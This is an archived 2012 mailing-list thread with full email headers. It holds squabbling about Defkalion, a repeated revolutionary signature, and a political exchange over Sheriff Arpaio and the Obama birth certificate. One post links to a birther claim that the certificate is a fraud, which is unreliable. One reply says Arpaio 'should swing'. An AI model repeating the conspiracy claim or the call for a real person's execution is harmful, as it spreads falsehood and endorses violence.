mixed... -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sat Jan 28 10:14:24 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0SIEH2H020989; Sat, 28 Jan 2012 10:14:22 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0SIEHpj020982; Sat, 28 Jan 2012 10:14:17 -0800 Resent-Date: Sat, 28 Jan 2012 10:14:17 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 28 Jan 2012 10:10:40 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Message-ID: <20120128181037.GB30850@shell.resist.ca> Reply-To: grok@resist.ca References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> <094601ccdddc$f278d310$d76a7930$@net> <00ac01ccdddd$7a785880$6f690980$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <00ac01ccdddd$7a785880$6f690980$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Pashtunistan, U Tapao, Nebula, FROG-7, Sudan User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4510 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 751 As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > As Holmes once said (sarcastically) to Watson, "How scintillating an observation..." You know what's really obvious..? Youse people's obsessive need to have the last, dismissive word. Truly petty[-bourgeois]. -- grok. > -----Original Message----- > From: Jones Beene [mailto:jonesb9@pacbell.net] > Sent: Saturday, January 28, 2012 8:51 AM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:test > > In a rare moment of lucidity and scientific focus, grok mounts the barracks, waves his me-too flag and proclaims (to the astonishment of all): > > "Maybe you people should be concentrating more on Defkalion now." > > ... uh, duh! > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sat Jan 28 10:56:05 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0SItxRw012060; Sat, 28 Jan 2012 10:56:03 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0SItw4W012038; Sat, 28 Jan 2012 10:55:58 -0800 Resent-Date: Sat, 28 Jan 2012 10:55:58 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:cc :content-type; bh=2mpaWwCz1JJerBZ5IgitvUxbp0+Q2uU9A58EvZwUU8Y=; b=XHqR60X8lpvANdFlvkHaC9pCFg1/vdlBstYczSKaQdfW/KAKNfzdVtSagaBj0EivPd xYQYI22mrZmEKFLo9ElWJV/HjlvPUKzc2qql5BCbVDikvEyAuOfc/DcAXdTtZhUd+YoT wcUd2y8gtUTCURY2gio+h1UPu8FrxMP56SlJ0= MIME-Version: 1.0 In-Reply-To: <20120128181037.GB30850@shell.resist.ca> References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> <094601ccdddc$f278d310$d76a7930$@net> <00ac01ccdddd$7a785880$6f690980$@net> <20120128181037.GB30850@shell.resist.ca> Date: Sat, 28 Jan 2012 20:52:28 +0200 Message-ID: Subject: Re: [VoB]:test From: Esa Ruoho Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d04388ecb72f30904b79b1d71 Resent-Message-ID: To: vortexb-l@eskimo.com Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4511 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 752 --f46d04388ecb72f30904b79b1d71 Content-Type: text/plain; charset=ISO-8859-1 So, what have Defkalion been doing lately? On Sat, Jan 28, 2012 at 8:10 PM, grok wrote: > > As the smoke cleared, Mark Iverson-ZeroPoint > mounted the barricade and roared out: > > > As Holmes once said (sarcastically) to Watson, "How scintillating an > observation..." > > You know what's really obvious..? Youse people's obsessive need to have the > last, dismissive word. > > Truly petty[-bourgeois]. > > > -- grok. > > > > > > > > > -----Original Message----- > > From: Jones Beene [mailto:jonesb9@pacbell.net] > > Sent: Saturday, January 28, 2012 8:51 AM > > To: vortexb-l@eskimo.com > > Subject: RE: [VoB]:test > > > > In a rare moment of lucidity and scientific focus, grok mounts the > barracks, waves his me-too flag and proclaims (to the astonishment of all): > > > > "Maybe you people should be concentrating more on Defkalion now." > > > > ... uh, duh! > > > > > > -- > The Financiers & Banksters have looted untold trillions of our future > earnings. > Their bureaucratic police & military goons are here to make us all pay for > it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > **Socialist revolution NOW!!** > > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > > And beware the 'bait & switch' fraud: "Social Justice" is NOT > *Socialism*... > > --f46d04388ecb72f30904b79b1d71 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable So, what have Defkalion been doing lately?


On Sat, Jan 28, 2012 at 8:10 PM, grok <grok@resist.ca> wrote:

As the smoke cleared, Mark Iverson-ZeroPoint <zeropoint@charter.net>
mounted the barricade and roared out:

> As Holmes once said (sarcastically) to Watson,= "How scintillating an observation..."

You know what's really obvious..? Youse people's obsessive ne= ed to have the
last, dismissive word.

Truly petty[-bourgeois].


-- grok.







> -----Original Message-----
> From: Jones Beene [mailto:jones= b9@pacbell.net]
> Sent: Saturday, January 28, 2012 8:51 AM
> To: vortexb-l@eskimo.com > Subject: RE: [VoB]:test
>
> In a rare moment of lucidity and scientific focus, grok mounts the bar= racks, waves his me-too flag and proclaims (to the astonishment of all): >
> "Maybe you people should be concentrating more on Defkalion now.&= quot;
>
> ... uh, duh!
>
>

--
The Financiers & Banksters have looted untold trillions of our future e= arnings.
Their bureaucratic police & military goons are here to make us all pay = for it.
Forever.
Well FORGET THAT. Let's get it *ALL* back from them -- and more.

**Socialist revolution NOW!!**

Build the North America-wide General Strike.
TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.

And beware the 'bait & switch' fraud: "Social Justice"= ; is NOT *Socialism*...


--f46d04388ecb72f30904b79b1d71-- From vortexb-l-request@eskimo.com Sat Jan 28 11:01:36 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0SJ1XpY000572; Sat, 28 Jan 2012 11:01:33 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0SJ1WDd000567; Sat, 28 Jan 2012 11:01:32 -0800 Resent-Date: Sat, 28 Jan 2012 11:01:32 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 28 Jan 2012 10:57:56 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Message-ID: <20120128185756.GC30850@shell.resist.ca> Reply-To: grok@resist.ca References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> <094601ccdddc$f278d310$d76a7930$@net> <00ac01ccdddd$7a785880$6f690980$@net> <20120128181037.GB30850@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Pashtunistan, U Tapao, Nebula, FROG-7, Sudan User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4512 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 753 As the smoke cleared, Esa Ruoho mounted the barricade and roared out: > So, what have Defkalion been doing lately? Apparently a lot of public/private testing. -- grok. > On Sat, Jan 28, 2012 at 8:10 PM, grok wrote: > > > > > As the smoke cleared, Mark Iverson-ZeroPoint > > mounted the barricade and roared out: > > > > > As Holmes once said (sarcastically) to Watson, "How scintillating an > > observation..." > > > > You know what's really obvious..? Youse people's obsessive need to have the > > last, dismissive word. > > > > Truly petty[-bourgeois]. > > > > > > -- grok. > > > > > > > > > > > > > > > > > -----Original Message----- > > > From: Jones Beene [mailto:jonesb9@pacbell.net] > > > Sent: Saturday, January 28, 2012 8:51 AM > > > To: vortexb-l@eskimo.com > > > Subject: RE: [VoB]:test > > > > > > In a rare moment of lucidity and scientific focus, grok mounts the > > barracks, waves his me-too flag and proclaims (to the astonishment of all): > > > > > > "Maybe you people should be concentrating more on Defkalion now." > > > > > > ... uh, duh! > > > > > > > > > > -- > > The Financiers & Banksters have looted untold trillions of our future > > earnings. > > Their bureaucratic police & military goons are here to make us all pay for > > it. > > Forever. > > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > > > **Socialist revolution NOW!!** > > > > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > > TOUT le pouvoir aux conseils et communes. > > ALL power to the councils and communes. > > > > And beware the 'bait & switch' fraud: "Social Justice" is NOT > > *Socialism*... > > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sat Jan 28 11:40:43 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0SJeeqf006847; Sat, 28 Jan 2012 11:40:40 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0SJedCc006826; Sat, 28 Jan 2012 11:40:39 -0800 Resent-Date: Sat, 28 Jan 2012 11:40:39 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=subject:references:from:content-type:x-mailer:in-reply-to :message-id:date:to:content-transfer-encoding:mime-version; bh=3DdW/edGmbZ6gVK7dhOgQoschBmDF76eLLcJCzpcd1w=; b=qepPIIAQnXde5f8tl8rXgmcnGC0gBr7ReRMN2WLDMCMbi7C7FkKgiytvg9njoKvr9m lhZNHPMEZBPWzgCtYsn0Q33HPL31gf5lCnTKYl/7wCLbsYSp90vSKxJOpE+cVC3xclkR qD/63FrTpHjg1PVdqBxc88QOobP1/uAkEXngU= Subject: Re: [VoB]:test References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> <094601ccdddc$f278d310$d76a7930$@net> <00ac01ccdddd$7a785880$6f690980$@net> <20120128181037.GB30850@shell.resist.ca> From: Charles Hope Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (9A405) In-Reply-To: <20120128181037.GB30850@shell.resist.ca> Message-Id: <20CAAFF3-E9A9-4C43-A92B-B7D537B33219@gmail.com> Date: Sat, 28 Jan 2012 14:36:56 -0500 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4513 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 754 Oh yes, that's right. Loyal party members do know when to shut up, don't the= y? Still into all that politics stuff, grok? On Jan 28, 2012, at 13:10, grok wrote: >=20 > As the smoke cleared, Mark Iverson-ZeroPoint > mounted the barricade and roared out: >=20 >> As Holmes once said (sarcastically) to Watson, "How scintillating an obse= rvation..." >=20 > You know what's really obvious..? Youse people's obsessive need to have th= e > last, dismissive word. >=20 > Truly petty[-bourgeois]. >=20 >=20 > -- grok. >=20 >=20 >=20 >=20 >=20 >=20 >=20 >> -----Original Message----- >> From: Jones Beene [mailto:jonesb9@pacbell.net]=20 >> Sent: Saturday, January 28, 2012 8:51 AM >> To: vortexb-l@eskimo.com >> Subject: RE: [VoB]:test >>=20 >> In a rare moment of lucidity and scientific focus, grok mounts the barrac= ks, waves his me-too flag and proclaims (to the astonishment of all): >>=20 >> "Maybe you people should be concentrating more on Defkalion now." >>=20 >> ... uh, duh! >>=20 >>=20 >=20 > --=20 > The Financiers & Banksters have looted untold trillions of our future earn= ings. > Their bureaucratic police & military goons are here to make us all pay for= it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. >=20 > **Socialist revolution NOW!!** >=20 > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. >=20 > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*.= .. >=20 From vortexb-l-request@eskimo.com Sat Jan 28 12:30:09 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0SKU6u5023762; Sat, 28 Jan 2012 12:30:06 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0SKU1w4023068; Sat, 28 Jan 2012 12:30:01 -0800 Resent-Date: Sat, 28 Jan 2012 12:30:01 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 28 Jan 2012 12:26:18 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Message-ID: <20120128202618.GA14094@shell.resist.ca> Reply-To: grok@resist.ca References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> <094601ccdddc$f278d310$d76a7930$@net> <00ac01ccdddd$7a785880$6f690980$@net> <20120128181037.GB30850@shell.resist.ca> <20CAAFF3-E9A9-4C43-A92B-B7D537B33219@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20CAAFF3-E9A9-4C43-A92B-B7D537B33219@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: ECA, M5, JUWTF, The Hague, siliconpimp User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4514 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 755 As the smoke cleared, Charles Hope mounted the barricade and roared out: > Oh yes, that's right. Loyal party members do know when to shut up, > don't they? Still into all that politics stuff, grok? If you don't follow politix, komrad... Politix follows *YOU*!! -- grok. > On Jan 28, 2012, at 13:10, grok wrote: > > > > > As the smoke cleared, Mark Iverson-ZeroPoint > > mounted the barricade and roared out: > > > >> As Holmes once said (sarcastically) to Watson, "How scintillating an observation..." > > > > You know what's really obvious..? Youse people's obsessive need to have the > > last, dismissive word. > > > > Truly petty[-bourgeois]. > > > > > > -- grok. > > > > > > > > > > > > > > > >> -----Original Message----- > >> From: Jones Beene [mailto:jonesb9@pacbell.net] > >> Sent: Saturday, January 28, 2012 8:51 AM > >> To: vortexb-l@eskimo.com > >> Subject: RE: [VoB]:test > >> > >> In a rare moment of lucidity and scientific focus, grok mounts the barracks, waves his me-too flag and proclaims (to the astonishment of all): > >> > >> "Maybe you people should be concentrating more on Defkalion now." > >> > >> ... uh, duh! > >> > >> > > > > -- > > The Financiers & Banksters have looted untold trillions of our future earnings. > > Their bureaucratic police & military goons are here to make us all pay for it. > > Forever. > > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > > > **Socialist revolution NOW!!** > > > > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > > TOUT le pouvoir aux conseils et communes. > > ALL power to the councils and communes. > > > > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Thu Mar 1 19:54:54 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q223soNX014882; Thu, 1 Mar 2012 19:54:50 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q223shT5014847; Thu, 1 Mar 2012 19:54:43 -0800 Resent-Date: Thu, 1 Mar 2012 19:54:43 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Received-SPF: pass (google.com: domain of hohlraum@gmail.com designates 10.224.179.202 as permitted sender) client-ip=10.224.179.202; Authentication-Results: mr.google.com; spf=pass (google.com: domain of hohlraum@gmail.com designates 10.224.179.202 as permitted sender) smtp.mail=hohlraum@gmail.com; dkim=pass header.i=hohlraum@gmail.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=Pob5Q8sSOs+P/IqRjyupgdVoR1wYV7uMJrZ0GsGslPI=; b=DfMk8E8SUJj3mXBqNARmg6foK0G0vO3ES7VFJvUroiNiSiMxSlrEip0TVWKEjohfgT Rav886Hx4WEMaQecRdwivcQjm/wweoXGApz3G+45v4ZqyhA8kO/HwlzXPVbwBawVIyay IG09PS/SiGsn+7+sqBs7INvWgPq2tU6WLLMAsNYreb0FFpw2eiDUVj3A2j9f0B8aAk9t gSkgluW0y1K1vqF52Uu+xqxGWsz8iWCl4tA9njrnBgk6K3dj5/ru8YYx653sXc8tviT5 d8gdTtvzXsfSOsu9lIzlXq8+aITfEgFWiQUBhmL9XKjrVnJV4ZPKcyzy1b50bmfcwfpC QUhw== MIME-Version: 1.0 Date: Thu, 1 Mar 2012 22:50:55 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4515 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:What do you think? Status: O X-Status: X-Keywords: X-UID: 756 Do we have the Manchurian Candidate? http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-certificate-a-fraud/ T From vortexb-l-request@eskimo.com Fri Mar 2 05:53:30 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q22DrOMR031449; Fri, 2 Mar 2012 05:53:24 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q22Dr3v4031318; Fri, 2 Mar 2012 05:53:03 -0800 Resent-Date: Fri, 2 Mar 2012 05:53:03 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=8zlWGMd3uPIA:10 a=yUnIBFQkZM0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=zdAufCIgAAAA:8 a=liYPCVhtAAAA:8 a=0BuMv7UkAAAA:20 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=6_98d3tLPsjOEEaDGRMA:9 a=xKvM2CAW_zSkYPEsc6UA:7 a=CjuIK1q_8ugA:10 a=KXuLW65_DLEA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=sh6PArqQtYdngLzxv5aEQJAsMbE=:19 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=1bHolJe8HBD6P823MEcA:9 a=TJixn15agW1pEFoRGbEA:7 a=gKO2Hq4RSVkA:10 a=hTZeC7Yk6K0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: In-Reply-To: Subject: RE: [VoB]:What do you think? Date: Fri, 2 Mar 2012 07:49:46 -0600 Organization: OrionWorks Message-ID: <000601ccf87b$547f8190$fd7e84b0$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01CCF849.09E51190" X-Mailer: Microsoft Office Outlook 12.0 Content-Language: en-us Thread-Index: Acz4J8F1HFFE6nqlQxqbQSbUOjaY3AAUm8iA Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4516 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 757 This is a multi-part message in MIME format. ------=_NextPart_000_0007_01CCF849.09E51190 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit >From Terry: > Do we have the Manchurian Candidate? > > http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama- > certificate-a-fraud/ Sheriff Joe Arpaio aka "America's Toughest Sheriff" is a real piece of work, isn't he! Arpaio is well known for his mistreatment of prisoners who had the misfortune of being placed under his jurisdiction. IMO, Arpaio used prisoners as cannon fodder to satisfy some kind of a repressed inner-child need he had - to get some kind of sick personal satisfaction of having absolute control over the lives of others who, due to their own criminal records, have limited rights of their own. (In Arpaio's mind: Who's going to care about a bunch of criminals I abuse, since they are already criminals... and obviously deserve continued "punishment".) Eventually, Arpaio's blatant mistreatment of prisoners got himself into hot water with the law, the very institution he swore to uphold: http://latino.foxnews.com/latino/politics/2011/12/19/arizona-sheriff-arpaio- faces-new-scandal-after-arrested-man-clings-to-life/ http://tinyurl.com/83pjvrh The sad thing about this latest effort to falsify the Obama birth certificate is the fact that it's all about bigotry. Biggots realize it is socially unacceptable to use the "N" word out in the public to describe the objectification of the sworn enemy. Instead, they try to "civilize" their sense their outrage within the context of presenting a legal challenge towards the object of their hatred. But it still all boils down to the same thing: "We don't want no commi-socialist Muslim-lovin "N"r in the White House." What bothers me is not the fact that there are Arpaio's out there. There always will be. What concerns me is the fact that there are enough citizens in our land that admire Arpaio' abusive tactics - so much that they willingly overlook his continued blatant mistreatment of others so that by proxy this so-called personification of "justice" can fulfill their own bigoted perceptions of others. My two cents. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_0007_01CCF849.09E51190 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

From = Terry:

 

> Do we = have the Manchurian Candidate?

> =

> http://www.wnd.com/2012/0= 3/sheriff-joes-posse-probable-cause-obama-

> = certificate-a-fraud/

 

S= heriff Joe Arpaio aka "America's Toughest Sheriff" is a real = piece of work, isn't he!

<= o:p> 

A= rpaio is well known for his mistreatment of prisoners who had the = misfortune of being placed under his jurisdiction. IMO, Arpaio used = prisoners as cannon fodder to satisfy some kind of a repressed = inner-child need he had - to get some kind of sick personal satisfaction = of having absolute control over the lives of others who, due to their = own criminal records, have limited rights of their own. (In = Arpaio’s mind: Who’s going to care about a bunch of = criminals I abuse, since they are already criminals... and obviously = deserve continued “punishment”.) Eventually, Arpaio's = blatant mistreatment of prisoners got himself into hot water with the = law, the very institution he swore to uphold:

<= o:p> 

h= ttp://latino.foxnews.com/latino/politics/2011/12/19/arizona-sheriff-arpai= o-faces-new-scandal-after-arrested-man-clings-to-life/<= /p>

<= o:p> 

h= ttp://tinyurl.com/83pjvrh

<= o:p> 

T= he sad thing about this latest effort to falsify the Obama birth = certificate is the fact that it's all about bigotry. Biggots realize it = is socially unacceptable to use the "N" word out in the public = to describe the objectification of the sworn enemy. Instead, they try to = “civilize” their sense their outrage within the context of = presenting a legal challenge towards the object of their hatred. But it = still all boils down to the same thing: "We don't want no = commi-socialist Muslim-lovin "N"r in the White = House."

<= o:p> 

W= hat bothers me is not the fact that there are Arpaio's out there. There = always will be. What concerns me is the fact that there are enough = citizens in our land that admire Arpaio’ abusive tactics - so much = that they willingly overlook his continued blatant mistreatment of = others so that by proxy this so-called personification of = "justice" can fulfill their own bigoted perceptions of = others.

<= o:p> 

M= y two cents.

<= o:p> 

R= egards,

S= teven Vincent Johnson

w= ww.OrionWorks.com

w= ww.zazzle.com/orionworks

<= o:p> 

------=_NextPart_000_0007_01CCF849.09E51190-- From vortexb-l-request@eskimo.com Fri Mar 2 08:12:40 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q22GCbQt026843; Fri, 2 Mar 2012 08:12:37 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q22GCZwc026813; Fri, 2 Mar 2012 08:12:35 -0800 Resent-Date: Fri, 2 Mar 2012 08:12:35 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 2 Mar 2012 08:08:41 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:What do you think? Message-ID: <20120302160840.GA9233@shell.resist.ca> Reply-To: grok@resist.ca References: <000601ccf87b$547f8190$fd7e84b0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <000601ccf87b$547f8190$fd7e84b0$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Wu, Antarctica, Find, Fix, Finish and Follow-up, OCX, Corona reconnaissance User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4517 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 758 The real story here is how fascistic elements inside the U.S. police-state apparatus think they have the power to use the "Law" -- as usual -- as a weapon to advance their personal and class interests. Just like the electoral fascists in the U.S. Republican Party attempted to "legally" unseat Bill Clinton, etc. AFAIC, "Sheriff" Joe Arpaio should swing for the crimes he has already committed against The People. For starters. -- grok. As the smoke cleared, OrionWorks - Steven Vincent Johnson mounted the barricade and roared out: > From Terry: > > > > > Do we have the Manchurian Candidate? > > > > > > > ate-a-fraud/> > http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama- > > > ate-a-fraud/> > certificate-a-fraud/ > > > > Sheriff Joe Arpaio aka "America's Toughest Sheriff" is a real piece of work, > isn't he! > > > > 